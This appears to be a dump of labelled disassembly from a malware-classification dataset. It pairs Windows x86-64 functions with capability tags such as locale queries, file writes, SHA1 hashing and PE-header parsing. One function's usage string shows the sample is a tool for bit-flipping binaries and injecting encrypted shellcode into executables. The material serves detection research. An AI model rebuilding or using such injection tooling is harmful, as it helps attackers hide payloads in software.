joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43e330
Capabilities:
Get geographical location

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x228
lea rbp, [rsp + 0x80]
mov r14, rdx
mov r15, rcx
mov ecx, dword [r15 + 4]
lea rbx, [rbp - 0x60]
mov edi, pe_nt_image_headers64
mov edx, 0x1001
mov r9d, pe_nt_image_headers64
mov r8, rbx
call sub.KERNEL32_GetLocaleInfoA
mov rcx, rbx
call fcn.00436a60
mov word [rbp + rax - 0x60], 0x5f
mov esi, dword [r15 + 4]
mov rcx, rbx
call fcn.00436a60
lea r8, [rbp + rax - 0x60]
sub edi, eax
mov edx, 0x1002
mov ecx, esi
mov r9d, edi
call sub.KERNEL32_GetLocaleInfoA
mov rcx, rbx
call fcn.00436a60
mov word [rbp + rax - 0x60], 0x2e
mov esi, dword [r15]
mov rcx, rbx
call fcn.00436a60
lea rdx, [rbp + rax - 0x60]
mov r8d, 0xa
mov ecx, esi
call fcn.00442510
mov rbx, qword [r15 + 0x38]
test rbx, rbx
je 0x43e413
mov rcx, rbx
call fcn.00436a60
mov rsi, rax
mov rcx, r14
call fcn.00436a60
mov rdi, rax
lea rcx, [rbp - 0x60]
call fcn.00436a60
add rdi, rsi
lea rdx, [rax + rdi + 3]
mov rcx, rbx
call fcn.00431530
mov rbx, rax
mov qword [r15 + 0x38], rbx
test rbx, rbx
jne 0x43e457
jmp 0x43e49a
mov rcx, r14
call fcn.00436a60
mov rsi, rax
lea rcx, [rbp - 0x60]
call fcn.00436a60
mov rdi, rax
lea rcx, [rsi + rdi + 3]
call fcn.00431510
mov rbx, rax
mov qword [r15 + 0x38], rbx
test rbx, rbx
je 0x43e49a
mov rcx, r14
call fcn.00436a60
lea r8, [rdi + rax + 3]
xor edx, edx
mov rcx, rbx
call fcn.00436320
mov rcx, rbx
mov rdx, r14
call fcn.00436af0
mov rsi, qword [r15 + 0x38]
mov rcx, rsi
call fcn.00436a60
mov word [rsi + rax], 0x3d
mov rcx, qword [r15 + 0x38]
lea rdx, [rbp - 0x60]
call fcn.00436af0
mov rsi, qword [r15 + 0x38]
mov rcx, rsi
call fcn.00436a60
mov word [rsi + rax], 0xa
mov eax, 1
jmp 0x43e49c
xor eax, eax
add rsp, 0x228
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
Function at 0x43e4b0
Capabilities:
Get geographical location

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x80]
mov rdi, rdx
mov r12, rcx
xorps xmm0, xmm0
movaps xmmword [rbp - 0x60], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x60], 0x656e6f6e
mov dword [rbp + 0xc], 0x303030
mov rcx, rdi
call fcn.004405a0
xor esi, esi
mov r13d, 1
lea r14, [rbp - 0x60]
lea rbx, [rbp + 0xc]
mov r15d, 1
mov qword [rbp + 0x10], rdi
nop word cs:[rax + rax]
mov edi, r15d
and edi, 0xfbff
or edi, 0x400
mov edx, 0x1001
mov r9d, 0x40
mov ecx, edi
mov r8, r14
call sub.KERNEL32_GetLocaleInfoA
mov edx, 3
mov r9d, 4
mov ecx, edi
mov rdi, qword [rbp + 0x10]
mov r8, rbx
call sub.KERNEL32_GetLocaleInfoA
mov rcx, r14
call fcn.004405a0
mov rcx, rbx
call fcn.004405a0
mov rcx, rdi
mov rdx, r14
call fcn.00435da0
test rax, rax
jne 0x43e5f7
mov rcx, rbx
call fcn.00436a60
mov rcx, rdi
mov rdx, rbx
mov r8, rax
call fcn.004365d0
xor ecx, ecx
test eax, eax
setne cl
cmove esi, r13d
add r15d, ecx
cmp r15d, 0x38
jg 0x43e5af
test esi, esi
je 0x43e520
test esi, esi
jne 0x43e5f7
mov edx, 0x5f
mov rcx, rdi
call fcn.00436c10
test rax, rax
jne 0x43e5db
mov edx, 0x2e
mov rcx, rdi
call fcn.00436c10
test rax, rax
je 0x43e707
mov r15d, dword [r12 + 4]
test r15d, r15d
je 0x43e5ee
and r15d, 0x3ff
jmp 0x43e5f7
call sub.KERNEL32_GetSystemDefaultLangID
movzx r15d, ax
mov edx, 0x5f
mov rcx, rdi
call fcn.00436c10
test rax, rax
je 0x43e6b5
mov qword [rbp], r12
inc rax
mov edx, 0x2e
mov qword [rbp - 0x10], rax
mov rcx, rax
call fcn.00436c10
test rax, rax
je 0x43e62d
mov byte [rax], 0
mov qword [rbp - 8], rax
xor ebx, ebx
lea rdi, [rbp - 0x60]
mov r13d, 1
xor r12d, r12d
mov eax, r13d
shl eax, 0xa
or eax, r15d
movzx esi, ax
mov edx, 0x1002
mov r9d, 0x40
mov ecx, esi
mov r8, rdi
call sub.KERNEL32_GetLocaleInfoA
mov r14d, eax
mov rcx, rdi
call fcn.004405a0
mov rcx, rdi
mov rdx, qword [rbp - 0x10]
call fcn.00436b80
xor ecx, ecx
test eax, eax
setne al
mov edx, 1
cmove r12d, edx
cmove ebx, esi
test r14d, r14d
je 0x43e69a
mov cl, al
add r13d, ecx
test r12d, r12d
je 0x43e640
test r12d, r12d
je 0x43e707
mov rax, qword [rbp - 8]
test rax, rax
je 0x43e6ab
mov byte [rax], 0x2e
mov r12, qword [rbp]
mov rdi, qword [rbp + 0x10]
jmp 0x43e6c6
and r15d, 0xfbff
or r15d, 0x400
mov ebx, r15d
mov edx, 0x2e
mov rcx, rdi
call fcn.00436c10
mov rsi, rax
test rsi, rsi
je 0x43e6e0
inc rsi
jmp 0x43e6f9
lea rsi, [rbp - 0x17]
mov edx, 0xb
mov r9d, 7
mov ecx, ebx
mov r8, rsi
call sub.KERNEL32_GetLocaleInfoA
mov rcx, rsi
call fcn.00441b60
mov dword [r12], eax
jmp 0x43e713
mov ecx, 0x20000101
call sub.KERNEL32_SetLastError
xor ebx, ebx
mov eax, ebx
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x440260
Capabilities:
Get geographical location

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov r13, rdx
mov r14d, ecx
mov r8, qword [r13 + 8]
xor r12d, r12d
mov edx, 0xe
xor r9d, r9d
call sub.KERNEL32_GetLocaleInfoA
inc eax
movsxd rdi, eax
mov rcx, rdi
call fcn.00431510
mov qword [r13 + 8], rax
mov edx, 0xe
mov ecx, r14d
mov r8, rax
mov r9d, edi
call sub.KERNEL32_GetLocaleInfoA
xor ebx, ebx
test eax, eax
setne bl
mov r8, qword [r13]
mov edx, 0xf
xor r9d, r9d
mov ecx, r14d
call sub.KERNEL32_GetLocaleInfoA
mov edi, eax
inc edi
movsxd rcx, edi
call fcn.00431510
mov qword [r13], rax
test r13, r13
je 0x440301
mov edx, 0xf
mov ecx, r14d
mov r8, rax
mov r9d, edi
call sub.KERNEL32_GetLocaleInfoA
xor r12d, r12d
test eax, eax
setne r12b
jmp 0x44030b
mov ecx, 0xe
call sub.KERNEL32_SetLastError
and r12d, ebx
mov r8, qword [r13 + 0x10]
xor r15d, r15d
mov edx, 0x10
xor r9d, r9d
mov ecx, r14d
call sub.KERNEL32_GetLocaleInfoA
inc eax
movsxd rdi, eax
mov rcx, rdi
call fcn.00431510
mov qword [r13 + 0x10], rax
mov edx, 0x10
mov ecx, r14d
mov r8, rax
mov r9d, edi
call sub.KERNEL32_GetLocaleInfoA
xor ebx, ebx
test eax, eax
setne bl
mov r8, qword [r13 + 0x18]
mov edx, 0x50
xor r9d, r9d
mov ecx, r14d
call sub.KERNEL32_GetLocaleInfoA
inc eax
movsxd rdi, eax
mov rcx, rdi
call fcn.00431510
mov qword [r13 + 0x18], rax
mov edx, 0x50
mov ecx, r14d
mov r8, rax
mov r9d, edi
call sub.KERNEL32_GetLocaleInfoA
xor esi, esi
test eax, eax
setne sil
and esi, ebx
and esi, r12d
mov r8, qword [r13 + 0x20]
mov edx, 0x51
xor r9d, r9d
mov ecx, r14d
call sub.KERNEL32_GetLocaleInfoA
inc eax
movsxd rdi, eax
mov rcx, rdi
call fcn.00431510
mov qword [r13 + 0x20], rax
mov edx, 0x51
mov ecx, r14d
mov r8, rax
mov r9d, edi
call sub.KERNEL32_GetLocaleInfoA
xor ebx, ebx
test eax, eax
setne bl
and ebx, esi
mov ecx, 4
call fcn.00431510
mov rdi, rax
test rdi, rdi
je 0x44041f
mov edx, 0x11
mov r9d, 4
mov ecx, r14d
mov r8, rdi
call sub.KERNEL32_GetLocaleInfoA
test eax, eax
je 0x44042b
mov rcx, rdi
call fcn.00441b60
mov word [r13 + 0x28], ax
mov rcx, rdi
call fcn.00431520
mov r15d, 1
jmp 0x440436
mov ecx, 0xe
call sub.KERNEL32_SetLastError
jmp 0x440436
mov rcx, rdi
call fcn.00431520
xor r15d, r15d
and ebx, r15d
mov eax, ebx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x441220
Capabilities:
Get geographical location

Disassembly:
push rbp
mov rbp, rsp
pop rbp
jmp fcn.0043d8a0
Function at 0x444fd0
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov r15, rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32_CreateFileA
mov rdi, rax
test rdi, rdi
je 0x4450ba
lea rcx, [rbp - 8]
call sub.KERNEL32_GetLocalTime
movzx r8d, word [rbp - 6]
movzx r9d, word [rbp - 2]
movzx eax, word [rbp - 8]
movzx ecx, word [rbp]
movzx edx, word [rbp + 2]
movzx ebx, word [rbp + 4]
movzx esi, word [rbp + 6]
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], eax
lea rbx, [0x00460fa0]
lea rdx, [0x0044f8e0]
mov rcx, rbx
call sub.USER32_wsprintfA
mov rcx, rbx
call fcn.00436a60
mov qword [rsp + 0x20], 0
lea r14, [rbp - 8]
mov rcx, rdi
mov rdx, rbx
mov r8d, eax
mov r9, r14
call sub.KERNEL32_WriteFile
mov rcx, r15
call fcn.00436a60
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, r15
mov r8d, eax
mov r9, r14
call sub.KERNEL32_WriteFile
mov rcx, rdi
call sub.KERNEL32_CloseHandle
nop
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret

Function at 0x4450e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0xc0
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rcx, qword [0x00460fd8]
test rcx, rcx
mov rax, qword [0x00460fd0]
jne 0x4451b5
test rax, rax
jne 0x4451b5
cmp dword [0x0045dac0], 0
je 0x4451ff
lea rdi, [rbp - 0x50]
xor ecx, ecx
mov r8d, 0x80
mov rdx, rdi
call sub.KERNEL32_GetModuleFileNameA
mov edx, 0x5c
mov rcx, rdi
call fcn.00444e80
test rax, rax
jne 0x44515d
mov edx, 0x3a
mov rcx, rdi
call fcn.00444e80
test rax, rax
je 0x445163
inc rax
mov rdi, rax
mov dword [rbp + 0x3c], 0
call sub.KERNEL32_GetVersion
mov r9d, 0x12010
test eax, eax
jns 0x4451a3
call sub.KERNEL32_GetCurrentThreadId
lea rdx, [0x004452c0]
lea r8, [rbp + 0x3c]
mov ecx, eax
call sub.USER32_EnumThreadWindows
cmp dword [rbp + 0x3c], 0
mov eax, 0x11010
mov r9d, 0x12010
cmove r9d, eax
xor ecx, ecx
mov rdx, rsi
mov r8, rdi
call sub.USER32_MessageBoxA
jmp 0x445273
test rax, rax
je 0x4451cf
cmp eax, 0xffffffff
je 0x445273
mov rcx, rsi
call rax
mov rcx, qword [0x00460fd8]
test rcx, rcx
je 0x445273
cmp ecx, 0xffffffff
je 0x445273
cmp byte [rcx], 0
je 0x445273
mov rdx, rsi
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.00444fd0
mov ecx, 0xfffffff4
call sub.KERNEL32_GetStdHandle
mov rdi, rax
mov qword [rsp + 0x20], 0
lea r14, [0x0044f910]
lea rbx, [rbp - 0x50]
mov r8d, 2
mov rcx, rdi
mov rdx, r14
mov r9, rbx
call sub.KERNEL32_WriteFile
mov rcx, rsi
call fcn.00436a60
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rsi
mov r8d, eax
mov r9, rbx
call sub.KERNEL32_WriteFile
mov qword [rsp + 0x20], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
mov r9, rbx
call sub.KERNEL32_WriteFile
nop
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x445960
Capabilities:
Terminate process

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov esi, r8d
mov ebx, edx
mov edi, ecx
test edi, edi
je 0x445985
test ebx, ebx
je 0x44599c
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, r9
call fcn.00445770
call fcn.00446cf0
call qword [0x0045da80]
test ebx, ebx
jne 0x44597c
test edi, edi
jne 0x4459ac
call qword [0x0045da88]
call qword [0x0045da90]
mov ecx, esi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.00446be0
push rbp
mov rbp, rsp
mov eax, ecx
mov r9, qword [0x00451090]
mov ecx, 1
xor edx, edx
mov r8d, eax
pop rbp
jmp 0x445960

Function at 0x4459e0
Capabilities:
Terminate process

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov esi, r8d
mov ebx, edx
mov edi, ecx
test edi, edi
je 0x445985
test ebx, ebx
je 0x44599c
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, r9
call fcn.00445770
call fcn.00446cf0
call qword [0x0045da80]
test ebx, ebx
jne 0x44597c
test edi, edi
jne 0x4459ac
call qword [0x0045da88]
call qword [0x0045da90]
mov ecx, esi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.00446be0
push rbp
mov rbp, rsp
mov eax, ecx
mov r9, qword [0x00451090]
mov ecx, 1
xor edx, edx
mov r8d, eax
pop rbp
jmp 0x445960

Function at 0x445a00
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
mov eax, ecx
mov r9, qword [0x00451090]
mov ecx, 1
xor edx, edx
mov r8d, eax
pop rbp
jmp 0x445960
Function at 0x446610
Capabilities:
Query environment variable

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rax, qword [0x00471040]
test rax, rax
je 0x446659
mov rcx, qword [rax]
test rcx, rcx
je 0x4466d0
add rax, 8
xor esi, esi
nop
cmp byte [rcx], 1
sbb esi, 0
inc esi
mov rcx, qword [rax]
add rax, 8
test rcx, rcx
jne 0x446640
jmp 0x446701
mov r14, qword [0x004710c0]
test r14, r14
jne 0x44668c
call sub.KERNEL32_GetEnvironmentStrings
mov r14, rax
mov qword [0x004710c0], r14
test r14, r14
jne 0x44668c
lea rcx, [0x0044f9b0]
call fcn.004452a0
mov r14, qword [0x004710c0]
mov rcx, r14
call fcn.00436a60
xor r15d, r15d
test eax, eax
je 0x4466d4
xor edi, edi
xor esi, esi
mov rbx, r14
nop word cs:[rax + rax]
lea edi, [rax + rdi + 1]
inc esi
cdqe
lea rbx, [rbx + rax + 1]
mov rcx, rbx
call fcn.00436a60
test eax, eax
jne 0x4466b0
inc edi
movsxd rbx, edi
jmp 0x4466db
xor esi, esi
jmp 0x446701
mov ebx, 1
xor esi, esi
mov rcx, rbx
call fcn.00431510
mov qword [0x00471038], rax
test rax, rax
je 0x4467db
mov rcx, rax
mov rdx, r14
mov r8, rbx
call fcn.00436050
lea eax, [rsi + 4]
mov dword [0x00471048], eax
add esi, 5
movsxd rcx, esi
mov edx, 8
call fcn.00431500
mov rdi, rax
test rdi, rdi
je 0x446772
mov r14, qword [0x00471040]
test r14, r14
je 0x446777
mov rdx, qword [r14]
test rdx, rdx
je 0x4467c6
lea rax, [r14 + 8]
xor ecx, ecx
cmp byte [rdx], 0
je 0x446760
mov rdx, qword [rax - 8]
movsxd rbx, ecx
mov qword [rdi + rbx*8], rdx
jmp 0x446762
dec ecx
inc ecx
mov rdx, qword [rax]
add rax, 8
test rdx, rdx
jne 0x446740
jmp 0x4467c1
xor r15d, r15d
jmp 0x4467db
mov rbx, qword [0x00471038]
mov rcx, rbx
call fcn.00436a60
test eax, eax
je 0x4467ce
movabs r15, 0x100000000
mov rsi, rdi
nop word [rax + rax]
mov qword [rsi], rbx
shl rax, 0x20
add rax, r15
sar rax, 0x20
add rbx, rax
mov rcx, rbx
call fcn.00436a60
add rsi, 8
test eax, eax
jne 0x4467a0
test r14, r14
je 0x4467ce
mov rcx, r14
call fcn.00431520
mov qword [0x00471040], rdi
mov r15d, 1
mov eax, r15d
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret

Function at 0x446e40
Capabilities:
Query environment variable

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov rbx, r9
mov edi, r8d
mov r14, rdx
mov rsi, rcx
mov dword [rbp - 0x10], 1
mov qword [rbp - 8], rsi
cmp edi, 1
jne 0x446ea1
mov eax, dword [0x00471140]
lea ecx, [rax + 1]
mov dword [0x00471140], ecx
test eax, eax
jne 0x446ea1
call sub.KERNEL32_GetEnvironmentStrings
mov qword [0x004710c0], rax
mov rcx, qword [rsi + 0x88]
call fcn.00437e90
lea rcx, [rbp - 0x10]
xor edx, edx
call fcn.00446bf0
mov rcx, r14
mov edx, edi
mov r8, rbx
call qword [rsi + 0x30]
mov esi, eax
test edi, edi
jne 0x446eec
dec dword [0x00471140]
jne 0x446eec
mov rcx, r14
call fcn.00445770
lea rcx, [rbp - 0x10]
mov edx, 1
call fcn.00446bf0
mov rcx, qword [0x004710c0]
test rcx, rcx
je 0x446eec
call sub.KERNEL32_FreeEnvironmentStringsA
mov qword [0x004710c0], 0
mov eax, esi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x447010
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov ecx, dword [0x00471150]
call sub.KERNEL32_TlsGetValue
mov rsi, rax
test rsi, rsi
je 0x447053
mov ecx, dword [0x00471150]
xor edx, edx
call sub.KERNEL32_TlsSetValue
call sub.KERNEL32_GetProcessHeap
xor edx, edx
mov rcx, rax
mov r8, rsi
add rsp, 0x28
pop rsi
pop rbp
jmp 0x44b1b0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
jmp qword [sym.imp.KERNEL32_HeapFree]

Function at 0x4470c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov esi, ecx
cmp byte [0x004510a4], 0
je 0x447122
mov ecx, dword [0x00471150]
call sub.KERNEL32_TlsGetValue
test rax, rax
jne 0x44712e
call fcn.00446f10
mov edi, eax
test edi, edi
je 0x447115
call sub.KERNEL32_GetProcessHeap
movsxd r8, edi
mov edx, 8
mov rcx, rax
call sub.KERNEL32_HeapAlloc
mov ecx, dword [0x00471150]
mov rdx, rax
call sub.KERNEL32_TlsSetValue
mov ecx, dword [0x00471150]
call sub.KERNEL32_TlsGetValue
jmp 0x44712e
mov rax, qword gs:[0x58]
mov rax, qword [rax]
movsxd rcx, esi
add rcx, rax
mov rax, rcx
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400012d0
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ebp, r8d
mov dword [rsp + 0x20], 0xf0000000
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x40], rbx
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001353
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8004
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x140001372
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140002810
mov rbx, qword [rsp + 0xa8]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400013a4
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x140001353
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x48]
mov dword [rsp + 0x30], 0x14
mov edx, 2
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x140001353
cmp dword [rsp + 0x30], ebx
jbe 0x140001402
nop dword [rax]
nop dword [rax + rax]
mov eax, ebx
lea ecx, [rbx + rbx]
add rcx, rdi
lea rdx, str._02x
movzx r8d, byte [rsp + rax + 0x48]
call fcn.140001010
inc ebx
cmp ebx, dword [rsp + 0x30]
jb 0x1400013e0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
jmp 0x140001355
Function at 0x1400027c0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rbx
lea rdx, str._nUsage:__n_n_______Bit_Flipping:__s__b__exe_dll_file_path___output_file_path__with_extension___n_n_______Inject_Shellcode:__s__i__exe_dll_file_path___shellcode_file_path___output_file_path__with_extension____Encryption_Key__n
mov rcx, rax
mov r8, rbx
call fcn.140001600
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x1400030d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000311a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000311a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000311a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000311a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000311a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000311c
xor al, al
add rsp, 0x28
ret
Function at 0x140002950
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call int.140004708
nop
cmp dword [0x140013598], 1
je 0x1400028fc
mov dword [0x140013594], 1
mov byte [0x140013590], r12b
test ebx, ebx
jne 0x1400028e8
mov rcx, qword [0x1400145a0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400028d5
mov rcx, qword [0x140014598]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140002874
call fcn.14000574c
cmp qword [rdi], rax
jne 0x140002874
jmp 0x14000285a
cmp rdi, rsi
jb 0x1400028d5
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.14000574c
mov qword [rdi], rax
call rbx
mov rcx, qword [0x1400145a0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140014598]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x1400028b3
cmp r13, rax
je 0x1400028d3
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14000285a
lea rdx, [0x14000f2e8]
lea rcx, [0x14000f2d0]
call fcn.1400026a4
lea rdx, [0x14000f2f8]
lea rcx, [0x14000f2f0]
call fcn.1400026a4
nop
test r12d, r12d
je 0x14000290b
mov ecx, 8
call fcn.140004608
test r12d, r12d
jne 0x140002936
mov dword [0x140013598], 1
lea ecx, [r12 + 8]
call fcn.140004608
mov ecx, r15d
call fcn.140002638
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400027c4

Function at 0x14000295c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x1400027c4
Function at 0x140029be4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d184
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d184
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029d34
cmp rax, 0xffffffffffffffff
je 0x140029d34
xor edi, edi
test rbp, rbp
jle 0x140029cdf
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001fe04
mov rbx, rax
test rax, rax
jne 0x140029c6c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029cd5
mov edx, 0x8000
mov ecx, r14d
call fcn.14001ab20
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001de60
cmp eax, 0xffffffff
je 0x140029cb5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029c7c
mov edx, r15d
mov ecx, r14d
call fcn.14001ab20
jmp 0x140029cd5
cmp byte [rsi + 0x38], dil
je 0x140029ccc
cmp dword [rsi + 0x34], 5
jne 0x140029ccc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029cd5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b464
jmp 0x140029d48
jns 0x140029d48
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d184
cmp rax, 0xffffffffffffffff
jne 0x140029d00
cmp byte [rsi + 0x30], dil
je 0x140029d48
mov edi, dword [rsi + 0x2c]
jmp 0x140029d48
mov ecx, r14d
call fcn.140019658
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029d48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029d48
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029d41
mov eax, dword [rsi + 0x2c]
jmp 0x140029d46
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d184
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ae40
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ae68
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ae68
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
